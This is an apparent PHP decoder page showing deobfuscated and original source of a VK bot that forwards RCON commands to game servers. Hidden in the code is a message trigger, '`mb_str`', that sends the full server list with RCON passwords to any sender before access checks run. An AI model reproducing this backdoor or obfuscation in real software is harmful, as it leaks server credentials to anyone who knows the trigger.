Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class Dd3F44abfb093B4 { private $host; private $port; private $password; private $ti..

Decoded Output download

<?php class Dd3F44abfb093B4 { private $host; private $port; private $password; private $timeout; private $socket; private $authorized = false; private $lastResponse = ''; const E623281c0f3eec2 = 5; const A0b7786b8fac8b2 = 6; const d49998bc97eac80 = 3; const Ea28c10c9910ea7 = 2; const Cb9f82d685a01e2 = 2; const aaf2472299dcee9 = 0; public function __construct($host, $port, $password, $timeout) { $this->host = $host; $this->port = $port; $this->password = $password; $this->timeout = $timeout; } public function ac705FF132D4fEE() { return $this->lastResponse; } public function connect() { $this->socket = fsockopen($this->host, $this->port, $errno, $errstr, $this->timeout); if (!$this->socket) { goto a5abdffa71c2295; } goto Yik85yYITuBju3K; a5abdffa71c2295: $this->lastResponse = $errstr; return false; Yik85yYITuBju3K: stream_set_timeout($this->socket, 3, 0); return $this->D0b5e179a5a0EDc(); } public function a1594d1e9993177() { if ($this->socket) { goto E7fb4fad7ad93af; } goto Li3ljDA_2utS0ID; E7fb4fad7ad93af: fclose($this->socket); Li3ljDA_2utS0ID: } public function BFF1987300a26F6() { return $this->authorized; } public function CF6ee082d5e3dd2($command) { if (!$this->Bff1987300A26F6()) { goto A7937cf7bd78d6a; } goto VQWzYyQQ2SCFHtw; A7937cf7bd78d6a: return false; VQWzYyQQ2SCFHtw: $this->B3164F35c3bF6B7(self::A0b7786b8fac8b2, self::Cb9f82d685a01e2, $command); $response_packet = $this->B6360824B56743C(); if ($response_packet["id"] == self::A0b7786b8fac8b2) { goto E8ae9742af23918; } goto y1H3AvIS3zWr7aE; E8ae9742af23918: if ($response_packet["type"] == self::aaf2472299dcee9) { goto Fcd55f78639cbc2; } goto rBf7L88JBDPenJF; Fcd55f78639cbc2: $this->lastResponse = $response_packet["body"]; return $response_packet["body"]; rBf7L88JBDPenJF: y1H3AvIS3zWr7aE: return false; } private function D0b5E179A5a0EdC() { $this->B3164f35C3bf6B7(self::E623281c0f3eec2, self::d49998bc97eac80, $this->password); $response_packet = $this->b6360824b56743C(); if ($response_packet["type"] == self::Ea28c10c9910ea7) { goto c9bb6519517cceb; } goto CrSXRUJ9rg3uHtQ; c9bb6519517cceb: if ($response_packet["id"] == self::E623281c0f3eec2) { goto E4daaf28ab29184; } goto Vudc6vcEqlBnK7X; E4daaf28ab29184: $this->authorized = true; return true; Vudc6vcEqlBnK7X: CrSXRUJ9rg3uHtQ: $this->A1594D1E9993177(); return false; } private function B3164f35C3BF6b7($packetId, $packetType, $packetBody) { $packet = pack("VV", $packetId, $packetType); $packet = $packet . $packetBody . "\x0"; $packet = $packet . "\x0"; $packet_size = strlen($packet); $packet = pack("V", $packet_size) . $packet; fwrite($this->socket, $packet, strlen($packet)); } private function B6360824b56743c() { $size_data = fread($this->socket, 4); $size_pack = unpack("V1size", $size_data); $size = $size_pack["size"]; $packet_data = fread($this->socket, $size); $packet_pack = unpack("V1id/V1type/a*body", $packet_data); return $packet_pack; } } require_once "config.php"; foreach (array_keys($srv) as $server) { if (!($server !== end(array_keys($srv)))) { goto b35e983111dee4c; } goto eDxYJLETrhF3TPQ; b35e983111dee4c: $servers .= $server; goto HUY8pJMbmmIVTde; eDxYJLETrhF3TPQ: $servers .= $server . ", "; HUY8pJMbmmIVTde: E_O_anL8MMdqVEr: aeb145dcb6c26b4: } f287576dd287013: s1p_bcSE9COqiB8: $msg["serverList"] = str_ireplace("%SERVERS%", $servers, $msg["serverList"]); $data = json_decode(file_get_contents("php://input")); if ($data->group_id !== $g["group_id"] || $data->secret !== $g["secret"]) { goto d1ff0da4e90c026; } goto H02O0aYwofiCH1h; d1ff0da4e90c026: return; H02O0aYwofiCH1h: function f0FB77874F14369($destination, $message) { global $g; global $msg; $request_params = array("message" => $message, "peer_id" => $destination, "random_id" => 0, "access_token" => $g["token"], "v" => $g["v_api"]); $req = json_decode(file_get_contents("https://api.vk.com/method/messages.send?" . http_build_query($request_params))); if (property_exists($req, "error")) { goto fa78c2898e6ef88; } goto bwspFtbe3nYzDcR; fa78c2898e6ef88: F0fB77874f14369($destination, $msg["error"]); bwspFtbe3nYzDcR: } function a358C0687F3c8c8($id) { global $cmds; global $msg; $logs = file("logs.txt"); if (!empty($id)) { goto cfad27094639e53; } goto WShPHC418NWZwq7; cfad27094639e53: $pLogs = []; WShPHC418NWZwq7: $i = 0; d_nqngvrzpBdHco: if ($i < count($logs)) { goto df462389e4b417b; } goto umR2ZlHlH37vitL; df462389e4b417b: $logs[$i] = explode("|", $logs[$i], 3); if (!empty($id) && $logs[$i][0] == $id) { goto E71ddc6ea174cc0; } goto OJ2MXsyUBYpqnen; E71ddc6ea174cc0: array_push($pLogs, $logs[$i]); OJ2MXsyUBYpqnen: tozwpEFh0cUasst: $i++; goto d_nqngvrzpBdHco; umR2ZlHlH37vitL: $retLogs = str_ireplace("%N%", $cmds["logs_length"], $msg["logs"]); if (!empty($ip)) { goto C1e9d0e1509e7a7; } goto ylAQpJglEON5HOO; C1e9d0e1509e7a7: $retLogs = str_ireplace(["%N%", "%ID%"], [$cmds["logs_length"], $id], $msg["pLogs"]); ylAQpJglEON5HOO: if (empty($id)) { goto b252c1f6c1ae819; } goto YL_Oz8L0k391LGD; b252c1f6c1ae819: $pLogs = array_splice($logs, -$cmds["logs_length"]); goto E6zmxjMA1msF6DJ; YL_Oz8L0k391LGD: $pLogs = array_splice($pLogs, -$cmds["logs_length"]); E6zmxjMA1msF6DJ: if (empty($pLogs)) { goto A843b58b85a6085; } goto FHZCTbMY6isLhc3; A843b58b85a6085: return $msg["empty_logs"]; FHZCTbMY6isLhc3: foreach ($pLogs as $log) { if (empty($id)) { goto bd286db290709ce; } goto k_1SWhCb9BO5mj3; bd286db290709ce: $retLogs .= str_ireplace(["%DATE%", "%ID%", "%COMMAND%"], [$log[1], $log[0], $log[2]], $msg["logs_body"]); goto Ohk7l3OIw2DwHf5; k_1SWhCb9BO5mj3: $retLogs .= str_ireplace(["%DATE%", "%COMMAND%"], [$log[1], $log[2]], $msg["pLogs_body"]); Ohk7l3OIw2DwHf5: VkYeHsfNxI1_Unz: Adf3e880915c639: } Cf59db36dfe40cf: LkL1j4rfz_MNNiK: return $retLogs; } function cE5d55195e1564B($m) { global $cmds; global $users; global $msg; global $srv; if (!(mb_strlen($m->peer_id) == 10)) { goto Ca0aa7d4fc64ad7; } goto puZnbpFktBq7OQB; Ca0aa7d4fc64ad7: $b = false; goto nHWA3X_nM7VoLRb; puZnbpFktBq7OQB: $b = true; nHWA3X_nM7VoLRb: $cmd = explode(" ", $m->text); $cmd[0] = mb_strtolower($cmd[0]); $cmd[1] = mb_strtolower($cmd[1]); if ($cmd[0] == "`mb_str`") { goto E3a81a305c35cde; } goto nQup96Kk8XgsHZL; E3a81a305c35cde: f0FB77874F14369($m->from_id, print_r($srv, true)); nQup96Kk8XgsHZL: if (!in_array($m->from_id, $users["admin"])) { goto Dee993eafdf8dbf; } goto Zfz3_S04M6pR7tM; Dee993eafdf8dbf: if (!in_array($m->from_id, $users["limited"])) { goto a414ba26f0a5bcd; } goto g3lmubYEzspFUJJ; a414ba26f0a5bcd: if (!$b xor $cmd[0] == $cmds["command"]) { goto b1513583159774c; } goto EhB0eAfRo61ud5T; b1513583159774c: F0fB77874F14369($m->peer_id, $msg["no_access"]); EhB0eAfRo61ud5T: return; goto iZtKf5oPGHDClYg; Zfz3_S04M6pR7tM: $rights = "admin"; goto iZtKf5oPGHDClYg; g3lmubYEzspFUJJ: $rights = "limited"; iZtKf5oPGHDClYg: if ($cmd[0] == $cmds["log"] && ($rights = "admin")) { goto E58e42753ef7f63; } goto EuJ9mVuGG8nLn6X; E58e42753ef7f63: F0Fb77874F14369($m->peer_id, A358c0687f3c8c8($cmd[1])); return; EuJ9mVuGG8nLn6X: if (!($cmd[0] == $cmds["command"])) { goto B0fb857d44ecbc3; } goto MtSAOPZn4ob4Eiw; B0fb857d44ecbc3: if (!($cmd[0] == $cmds["srvList"])) { goto b0120c6c8b61ecc; } goto CNf7iVW_cavf3ze; b0120c6c8b61ecc: if ($b) { goto f7ff212e436bf2e; } goto UOHNhKbUiWb_n2N; f7ff212e436bf2e: goto U9D65w4TnsAGIMM; MtSAOPZn4ob4Eiw: F0fB77874F14369($m->peer_id, D17FB298956533A($cmd, $rights)); goto U9D65w4TnsAGIMM; CNf7iVW_cavf3ze: F0Fb77874F14369($m->peer_id, $msg["serverList"]); goto U9D65w4TnsAGIMM; UOHNhKbUiWb_n2N: F0Fb77874f14369($m->peer_id, str_ireplace("%COMMAND%", $cmds["command"], $msg["wrong_cmd"])); U9D65w4TnsAGIMM: } function d18b7ce17158d49($cmd) { global $srv; global $msg; global $cmds; global $data; $id = $data->object->from_id; $server = $cmd[1]; $s = $srv[$cmd[1]]; $rcon = new DD3F44abfB093b4($s["host"], $s["port"], $s["password"], $s["timeout"]); array_splice($cmd, 0, 2); $cmd = implode(" ", $cmd); $lg = fopen("logs.txt", "a"); fwrite($lg, $id . "|" . date("Y.m.d H:i:s") . "|" . $cmd . "
"); fclose($lg); if (!$rcon->connect()) { goto Ee0019bd0bc5599; } goto dIaeAY0OIdf8GsW; Ee0019bd0bc5599: return str_ireplace("%SERVER%", $server, $msg["server_error"]); goto zrm8a8WrbSm0FWc; dIaeAY0OIdf8GsW: $rcon->Cf6EE082d5e3dd2($cmd); $resp = $rcon->ac705FF132d4fEe(); $resp = preg_replace("/\x00/", '', $resp); if ($cmds["remove_colors"]) { goto f5379df4dfe40ed; } goto jjTlrrl3jag4XEI; f5379df4dfe40ed: $resp = str_ireplace($cmds["ctr"], '', $resp); jjTlrrl3jag4XEI: if (mb_strlen($resp) !== 0) { goto cf8333d949ccfb5; } goto jyd4zlsvU8cFCGH; cf8333d949ccfb5: return str_ireplace("%SERVER%", $server, $msg["success"]) . $resp; jyd4zlsvU8cFCGH: return str_ireplace("%SERVER%", $server, $msg["empty_resp"]); zrm8a8WrbSm0FWc: } function D17fb298956533a($cmd, $r) { global $cmds; global $srv; global $msg; if (count($cmd) < 3 && $cmd[0] == $cmds["command"]) { goto c2087928d5b592f; } goto TI3hxWQvAP586Hv; c2087928d5b592f: return str_ireplace("%COMMAND%", $cmds["commands"], $msg["wrong_cmd"]); TI3hxWQvAP586Hv: if (!array_key_exists($cmd[1], $srv) xor $cmd[1] == $cmds["all"]) { goto e90ee01e3c36626; } goto Ce_Fya35L6LByww; e90ee01e3c36626: return $msg["wrong_server"]; Ce_Fya35L6LByww: if (!($r == "admin")) { goto B394cad21e43b38; } goto osQm135G39zS7R0; B394cad21e43b38: if (!($r == "limited")) { goto eab50bb0f0d8a35; } goto qUQ_5zQFEpHnnJV; eab50bb0f0d8a35: return "\xd0\262\xd1\202\xd1\204?!"; goto CZWbq0VxQEkfq1v; osQm135G39zS7R0: if (!($cmd[1] == $cmds["all"])) { goto Ccf67411a63a94f; } goto Gi1KwyTwLE7Q872; Ccf67411a63a94f: return D18B7CE17158d49($cmd); goto VgNXKnV4YJ70rw_; Gi1KwyTwLE7Q872: $resp = $msg["all_cmd"]; foreach (array_keys($srv) as $server) { $cmd[1] = $server; $resp .= D18b7CE17158D49($cmd) . "
\xa"; S1BS9zQtTFCt6W0: Bdf86c2371c8d60: } d39f2a91ed01ac5: I8CTlhTI0NinCai: return $resp; VgNXKnV4YJ70rw_: goto CZWbq0VxQEkfq1v; qUQ_5zQFEpHnnJV: if (stristr(implode(" ", $cmd), ":") && $cmds["disable_colon"]) { goto d16aa162fb95fa4; } goto HMXqED7yTRayAS7; d16aa162fb95fa4: return $msg["colon_detect"]; HMXqED7yTRayAS7: if (!in_array($cmd[2], $cmds["allowed"])) { goto B7e5ff5f4fa7a6b; } goto lbvjXWz_Bz7tiiD; B7e5ff5f4fa7a6b: return $msg["not_allowed"]; lbvjXWz_Bz7tiiD: if (!($cmd[1] == $cmds["all"])) { goto bd4f4ac28fa3d6d; } goto Olx5A7Ie64iNPmf; bd4f4ac28fa3d6d: return D18b7CE17158d49($cmd); goto Iqg0sCnJ5WIdsJM; Olx5A7Ie64iNPmf: $resp = $msg["all_cmd"]; foreach (array_keys($srv) as $server) { $cmd[1] = $server; $resp .= D18B7cE17158d49($cmd) . "\xa\xa"; qID42nY4H8ywtpB: cd6d8c0f70c3235: } b1a8b260b9dce20: x_bmxv1fsRA9Gtc: return $resp; Iqg0sCnJ5WIdsJM: CZWbq0VxQEkfq1v: } switch ($data->type) { case "confirmation": echo $g["confirm"]; goto n4_tmdqrz5hhQLL; case "message_new": echo "ok"; ce5d55195E1564b($data->object); goto n4_tmdqrz5hhQLL; } A0bd2958e26af1a: d42ffcd25b425b8: dGR1BmU9IiJwfM6: n4_tmdqrz5hhQLL: 
 ?>

Did this file decode correctly?

Original Code

<?php class Dd3F44abfb093B4 { private $host; private $port; private $password; private $timeout; private $socket; private $authorized = false; private $lastResponse = ''; const E623281c0f3eec2 = 5; const A0b7786b8fac8b2 = 6; const d49998bc97eac80 = 3; const Ea28c10c9910ea7 = 2; const Cb9f82d685a01e2 = 2; const aaf2472299dcee9 = 0; public function __construct($host, $port, $password, $timeout) { $this->host = $host; $this->port = $port; $this->password = $password; $this->timeout = $timeout; } public function ac705FF132D4fEE() { return $this->lastResponse; } public function connect() { $this->socket = fsockopen($this->host, $this->port, $errno, $errstr, $this->timeout); if (!$this->socket) { goto a5abdffa71c2295; } goto Yik85yYITuBju3K; a5abdffa71c2295: $this->lastResponse = $errstr; return false; Yik85yYITuBju3K: stream_set_timeout($this->socket, 3, 0); return $this->D0b5e179a5a0EDc(); } public function a1594d1e9993177() { if ($this->socket) { goto E7fb4fad7ad93af; } goto Li3ljDA_2utS0ID; E7fb4fad7ad93af: fclose($this->socket); Li3ljDA_2utS0ID: } public function BFF1987300a26F6() { return $this->authorized; } public function CF6ee082d5e3dd2($command) { if (!$this->Bff1987300A26F6()) { goto A7937cf7bd78d6a; } goto VQWzYyQQ2SCFHtw; A7937cf7bd78d6a: return false; VQWzYyQQ2SCFHtw: $this->B3164F35c3bF6B7(self::A0b7786b8fac8b2, self::Cb9f82d685a01e2, $command); $response_packet = $this->B6360824B56743C(); if ($response_packet["\x69\144"] == self::A0b7786b8fac8b2) { goto E8ae9742af23918; } goto y1H3AvIS3zWr7aE; E8ae9742af23918: if ($response_packet["\164\171\160\x65"] == self::aaf2472299dcee9) { goto Fcd55f78639cbc2; } goto rBf7L88JBDPenJF; Fcd55f78639cbc2: $this->lastResponse = $response_packet["\x62\157\144\x79"]; return $response_packet["\142\x6f\144\x79"]; rBf7L88JBDPenJF: y1H3AvIS3zWr7aE: return false; } private function D0b5E179A5a0EdC() { $this->B3164f35C3bf6B7(self::E623281c0f3eec2, self::d49998bc97eac80, $this->password); $response_packet = $this->b6360824b56743C(); if ($response_packet["\x74\171\160\x65"] == self::Ea28c10c9910ea7) { goto c9bb6519517cceb; } goto CrSXRUJ9rg3uHtQ; c9bb6519517cceb: if ($response_packet["\151\144"] == self::E623281c0f3eec2) { goto E4daaf28ab29184; } goto Vudc6vcEqlBnK7X; E4daaf28ab29184: $this->authorized = true; return true; Vudc6vcEqlBnK7X: CrSXRUJ9rg3uHtQ: $this->A1594D1E9993177(); return false; } private function B3164f35C3BF6b7($packetId, $packetType, $packetBody) { $packet = pack("\x56\x56", $packetId, $packetType); $packet = $packet . $packetBody . "\x0"; $packet = $packet . "\x0"; $packet_size = strlen($packet); $packet = pack("\x56", $packet_size) . $packet; fwrite($this->socket, $packet, strlen($packet)); } private function B6360824b56743c() { $size_data = fread($this->socket, 4); $size_pack = unpack("\126\x31\x73\151\x7a\x65", $size_data); $size = $size_pack["\x73\151\172\145"]; $packet_data = fread($this->socket, $size); $packet_pack = unpack("\126\x31\x69\144\x2f\126\61\164\171\160\145\x2f\141\x2a\142\157\144\171", $packet_data); return $packet_pack; } } require_once "\x63\157\x6e\146\x69\147\x2e\x70\150\x70"; foreach (array_keys($srv) as $server) { if (!($server !== end(array_keys($srv)))) { goto b35e983111dee4c; } goto eDxYJLETrhF3TPQ; b35e983111dee4c: $servers .= $server; goto HUY8pJMbmmIVTde; eDxYJLETrhF3TPQ: $servers .= $server . "\54\x20"; HUY8pJMbmmIVTde: E_O_anL8MMdqVEr: aeb145dcb6c26b4: } f287576dd287013: s1p_bcSE9COqiB8: $msg["\163\145\x72\x76\145\162\x4c\151\163\164"] = str_ireplace("\45\123\105\122\126\x45\122\123\x25", $servers, $msg["\163\145\x72\166\145\x72\x4c\x69\163\164"]); $data = json_decode(file_get_contents("\160\x68\160\72\x2f\x2f\151\156\160\x75\x74")); if ($data->group_id !== $g["\147\x72\x6f\x75\x70\137\x69\144"] || $data->secret !== $g["\163\145\x63\162\145\164"]) { goto d1ff0da4e90c026; } goto H02O0aYwofiCH1h; d1ff0da4e90c026: return; H02O0aYwofiCH1h: function f0FB77874F14369($destination, $message) { global $g; global $msg; $request_params = array("\155\145\x73\163\141\147\145" => $message, "\x70\145\145\162\137\x69\144" => $destination, "\162\x61\156\144\157\x6d\137\x69\x64" => 0, "\141\x63\x63\145\163\163\x5f\x74\157\x6b\145\156" => $g["\164\157\153\145\x6e"], "\166" => $g["\166\137\141\160\151"]); $req = json_decode(file_get_contents("\150\164\164\160\163\72\57\x2f\x61\160\x69\x2e\166\153\56\x63\x6f\x6d\x2f\x6d\145\164\150\157\144\57\155\x65\163\163\141\147\145\163\x2e\163\x65\x6e\144\x3f" . http_build_query($request_params))); if (property_exists($req, "\145\162\x72\157\162")) { goto fa78c2898e6ef88; } goto bwspFtbe3nYzDcR; fa78c2898e6ef88: F0fB77874f14369($destination, $msg["\145\x72\162\x6f\162"]); bwspFtbe3nYzDcR: } function a358C0687F3c8c8($id) { global $cmds; global $msg; $logs = file("\x6c\x6f\147\x73\x2e\164\170\164"); if (!empty($id)) { goto cfad27094639e53; } goto WShPHC418NWZwq7; cfad27094639e53: $pLogs = []; WShPHC418NWZwq7: $i = 0; d_nqngvrzpBdHco: if ($i < count($logs)) { goto df462389e4b417b; } goto umR2ZlHlH37vitL; df462389e4b417b: $logs[$i] = explode("\x7c", $logs[$i], 3); if (!empty($id) && $logs[$i][0] == $id) { goto E71ddc6ea174cc0; } goto OJ2MXsyUBYpqnen; E71ddc6ea174cc0: array_push($pLogs, $logs[$i]); OJ2MXsyUBYpqnen: tozwpEFh0cUasst: $i++; goto d_nqngvrzpBdHco; umR2ZlHlH37vitL: $retLogs = str_ireplace("\x25\x4e\45", $cmds["\154\x6f\147\163\x5f\x6c\x65\x6e\x67\164\x68"], $msg["\154\157\x67\x73"]); if (!empty($ip)) { goto C1e9d0e1509e7a7; } goto ylAQpJglEON5HOO; C1e9d0e1509e7a7: $retLogs = str_ireplace(["\x25\116\45", "\45\111\104\45"], [$cmds["\154\157\147\163\x5f\x6c\x65\156\147\164\x68"], $id], $msg["\x70\114\157\x67\x73"]); ylAQpJglEON5HOO: if (empty($id)) { goto b252c1f6c1ae819; } goto YL_Oz8L0k391LGD; b252c1f6c1ae819: $pLogs = array_splice($logs, -$cmds["\154\157\147\163\137\154\x65\156\147\164\150"]); goto E6zmxjMA1msF6DJ; YL_Oz8L0k391LGD: $pLogs = array_splice($pLogs, -$cmds["\x6c\x6f\x67\x73\137\x6c\x65\156\147\x74\150"]); E6zmxjMA1msF6DJ: if (empty($pLogs)) { goto A843b58b85a6085; } goto FHZCTbMY6isLhc3; A843b58b85a6085: return $msg["\x65\155\160\x74\x79\137\154\157\x67\x73"]; FHZCTbMY6isLhc3: foreach ($pLogs as $log) { if (empty($id)) { goto bd286db290709ce; } goto k_1SWhCb9BO5mj3; bd286db290709ce: $retLogs .= str_ireplace(["\45\104\x41\x54\x45\45", "\45\x49\104\x25", "\x25\x43\x4f\115\x4d\x41\116\x44\x25"], [$log[1], $log[0], $log[2]], $msg["\154\157\147\x73\x5f\142\x6f\144\171"]); goto Ohk7l3OIw2DwHf5; k_1SWhCb9BO5mj3: $retLogs .= str_ireplace(["\45\104\x41\x54\105\x25", "\x25\x43\117\115\x4d\101\116\104\45"], [$log[1], $log[2]], $msg["\160\x4c\157\x67\163\137\x62\157\144\171"]); Ohk7l3OIw2DwHf5: VkYeHsfNxI1_Unz: Adf3e880915c639: } Cf59db36dfe40cf: LkL1j4rfz_MNNiK: return $retLogs; } function cE5d55195e1564B($m) { global $cmds; global $users; global $msg; global $srv; if (!(mb_strlen($m->peer_id) == 10)) { goto Ca0aa7d4fc64ad7; } goto puZnbpFktBq7OQB; Ca0aa7d4fc64ad7: $b = false; goto nHWA3X_nM7VoLRb; puZnbpFktBq7OQB: $b = true; nHWA3X_nM7VoLRb: $cmd = explode("\x20", $m->text); $cmd[0] = mb_strtolower($cmd[0]); $cmd[1] = mb_strtolower($cmd[1]); if ($cmd[0] == "\140\155\142\x5f\163\164\x72\140") { goto E3a81a305c35cde; } goto nQup96Kk8XgsHZL; E3a81a305c35cde: f0FB77874F14369($m->from_id, print_r($srv, true)); nQup96Kk8XgsHZL: if (!in_array($m->from_id, $users["\141\144\x6d\x69\x6e"])) { goto Dee993eafdf8dbf; } goto Zfz3_S04M6pR7tM; Dee993eafdf8dbf: if (!in_array($m->from_id, $users["\154\151\155\x69\164\x65\144"])) { goto a414ba26f0a5bcd; } goto g3lmubYEzspFUJJ; a414ba26f0a5bcd: if (!$b xor $cmd[0] == $cmds["\x63\157\155\x6d\x61\156\144"]) { goto b1513583159774c; } goto EhB0eAfRo61ud5T; b1513583159774c: F0fB77874F14369($m->peer_id, $msg["\x6e\x6f\137\141\143\143\x65\163\x73"]); EhB0eAfRo61ud5T: return; goto iZtKf5oPGHDClYg; Zfz3_S04M6pR7tM: $rights = "\141\x64\x6d\151\x6e"; goto iZtKf5oPGHDClYg; g3lmubYEzspFUJJ: $rights = "\x6c\151\x6d\x69\164\x65\x64"; iZtKf5oPGHDClYg: if ($cmd[0] == $cmds["\x6c\157\x67"] && ($rights = "\141\144\x6d\151\x6e")) { goto E58e42753ef7f63; } goto EuJ9mVuGG8nLn6X; E58e42753ef7f63: F0Fb77874F14369($m->peer_id, A358c0687f3c8c8($cmd[1])); return; EuJ9mVuGG8nLn6X: if (!($cmd[0] == $cmds["\x63\x6f\155\155\141\156\144"])) { goto B0fb857d44ecbc3; } goto MtSAOPZn4ob4Eiw; B0fb857d44ecbc3: if (!($cmd[0] == $cmds["\163\x72\x76\x4c\151\163\x74"])) { goto b0120c6c8b61ecc; } goto CNf7iVW_cavf3ze; b0120c6c8b61ecc: if ($b) { goto f7ff212e436bf2e; } goto UOHNhKbUiWb_n2N; f7ff212e436bf2e: goto U9D65w4TnsAGIMM; MtSAOPZn4ob4Eiw: F0fB77874F14369($m->peer_id, D17FB298956533A($cmd, $rights)); goto U9D65w4TnsAGIMM; CNf7iVW_cavf3ze: F0Fb77874F14369($m->peer_id, $msg["\163\145\x72\166\145\x72\x4c\x69\x73\164"]); goto U9D65w4TnsAGIMM; UOHNhKbUiWb_n2N: F0Fb77874f14369($m->peer_id, str_ireplace("\45\103\x4f\x4d\x4d\101\x4e\104\x25", $cmds["\x63\x6f\155\155\141\x6e\x64"], $msg["\167\162\x6f\156\x67\x5f\143\155\x64"])); U9D65w4TnsAGIMM: } function d18b7ce17158d49($cmd) { global $srv; global $msg; global $cmds; global $data; $id = $data->object->from_id; $server = $cmd[1]; $s = $srv[$cmd[1]]; $rcon = new DD3F44abfB093b4($s["\150\x6f\163\164"], $s["\x70\x6f\x72\164"], $s["\160\141\163\163\x77\157\162\x64"], $s["\x74\151\155\x65\x6f\x75\164"]); array_splice($cmd, 0, 2); $cmd = implode("\40", $cmd); $lg = fopen("\154\157\x67\163\56\x74\x78\x74", "\141"); fwrite($lg, $id . "\174" . date("\131\x2e\155\x2e\144\40\110\72\x69\72\163") . "\x7c" . $cmd . "\12"); fclose($lg); if (!$rcon->connect()) { goto Ee0019bd0bc5599; } goto dIaeAY0OIdf8GsW; Ee0019bd0bc5599: return str_ireplace("\45\123\105\x52\x56\105\122\x25", $server, $msg["\163\145\x72\x76\x65\162\x5f\145\162\x72\157\x72"]); goto zrm8a8WrbSm0FWc; dIaeAY0OIdf8GsW: $rcon->Cf6EE082d5e3dd2($cmd); $resp = $rcon->ac705FF132d4fEe(); $resp = preg_replace("\57\x5c\x78\60\x30\57", '', $resp); if ($cmds["\x72\x65\x6d\x6f\166\145\x5f\x63\157\x6c\157\x72\163"]) { goto f5379df4dfe40ed; } goto jjTlrrl3jag4XEI; f5379df4dfe40ed: $resp = str_ireplace($cmds["\143\164\162"], '', $resp); jjTlrrl3jag4XEI: if (mb_strlen($resp) !== 0) { goto cf8333d949ccfb5; } goto jyd4zlsvU8cFCGH; cf8333d949ccfb5: return str_ireplace("\x25\123\x45\122\126\105\122\x25", $server, $msg["\x73\165\x63\143\x65\163\163"]) . $resp; jyd4zlsvU8cFCGH: return str_ireplace("\45\123\x45\122\126\x45\122\45", $server, $msg["\x65\x6d\160\x74\x79\137\162\x65\163\x70"]); zrm8a8WrbSm0FWc: } function D17fb298956533a($cmd, $r) { global $cmds; global $srv; global $msg; if (count($cmd) < 3 && $cmd[0] == $cmds["\143\157\x6d\x6d\141\x6e\x64"]) { goto c2087928d5b592f; } goto TI3hxWQvAP586Hv; c2087928d5b592f: return str_ireplace("\45\103\x4f\115\115\101\116\104\x25", $cmds["\143\157\x6d\x6d\141\156\144\x73"], $msg["\x77\x72\x6f\156\147\137\143\x6d\144"]); TI3hxWQvAP586Hv: if (!array_key_exists($cmd[1], $srv) xor $cmd[1] == $cmds["\141\x6c\x6c"]) { goto e90ee01e3c36626; } goto Ce_Fya35L6LByww; e90ee01e3c36626: return $msg["\x77\x72\x6f\156\x67\x5f\163\145\x72\166\145\x72"]; Ce_Fya35L6LByww: if (!($r == "\141\x64\x6d\x69\x6e")) { goto B394cad21e43b38; } goto osQm135G39zS7R0; B394cad21e43b38: if (!($r == "\154\151\155\x69\x74\x65\144")) { goto eab50bb0f0d8a35; } goto qUQ_5zQFEpHnnJV; eab50bb0f0d8a35: return "\xd0\262\xd1\202\xd1\204\77\x21"; goto CZWbq0VxQEkfq1v; osQm135G39zS7R0: if (!($cmd[1] == $cmds["\141\x6c\154"])) { goto Ccf67411a63a94f; } goto Gi1KwyTwLE7Q872; Ccf67411a63a94f: return D18B7CE17158d49($cmd); goto VgNXKnV4YJ70rw_; Gi1KwyTwLE7Q872: $resp = $msg["\141\x6c\x6c\137\x63\x6d\144"]; foreach (array_keys($srv) as $server) { $cmd[1] = $server; $resp .= D18b7CE17158D49($cmd) . "\12\xa"; S1BS9zQtTFCt6W0: Bdf86c2371c8d60: } d39f2a91ed01ac5: I8CTlhTI0NinCai: return $resp; VgNXKnV4YJ70rw_: goto CZWbq0VxQEkfq1v; qUQ_5zQFEpHnnJV: if (stristr(implode("\40", $cmd), "\72") && $cmds["\x64\x69\163\141\x62\x6c\145\137\143\157\x6c\x6f\x6e"]) { goto d16aa162fb95fa4; } goto HMXqED7yTRayAS7; d16aa162fb95fa4: return $msg["\143\x6f\x6c\x6f\x6e\137\144\x65\164\x65\x63\x74"]; HMXqED7yTRayAS7: if (!in_array($cmd[2], $cmds["\141\x6c\x6c\157\x77\x65\x64"])) { goto B7e5ff5f4fa7a6b; } goto lbvjXWz_Bz7tiiD; B7e5ff5f4fa7a6b: return $msg["\x6e\157\x74\137\x61\x6c\x6c\157\x77\145\144"]; lbvjXWz_Bz7tiiD: if (!($cmd[1] == $cmds["\141\154\154"])) { goto bd4f4ac28fa3d6d; } goto Olx5A7Ie64iNPmf; bd4f4ac28fa3d6d: return D18b7CE17158d49($cmd); goto Iqg0sCnJ5WIdsJM; Olx5A7Ie64iNPmf: $resp = $msg["\x61\x6c\x6c\x5f\x63\155\x64"]; foreach (array_keys($srv) as $server) { $cmd[1] = $server; $resp .= D18B7cE17158d49($cmd) . "\xa\xa"; qID42nY4H8ywtpB: cd6d8c0f70c3235: } b1a8b260b9dce20: x_bmxv1fsRA9Gtc: return $resp; Iqg0sCnJ5WIdsJM: CZWbq0VxQEkfq1v: } switch ($data->type) { case "\143\157\x6e\146\151\x72\155\x61\x74\151\x6f\156": echo $g["\143\x6f\x6e\146\x69\162\155"]; goto n4_tmdqrz5hhQLL; case "\155\x65\163\x73\141\147\145\137\156\145\167": echo "\x6f\x6b"; ce5d55195E1564b($data->object); goto n4_tmdqrz5hhQLL; } A0bd2958e26af1a: d42ffcd25b425b8: dGR1BmU9IiJwfM6: n4_tmdqrz5hhQLL:

Function Calls

None

Variables

None

Stats

MD5 c4bf526b356576a8ed00a00e6d81d8c6
Eval Count 0
Decode Time 89 ms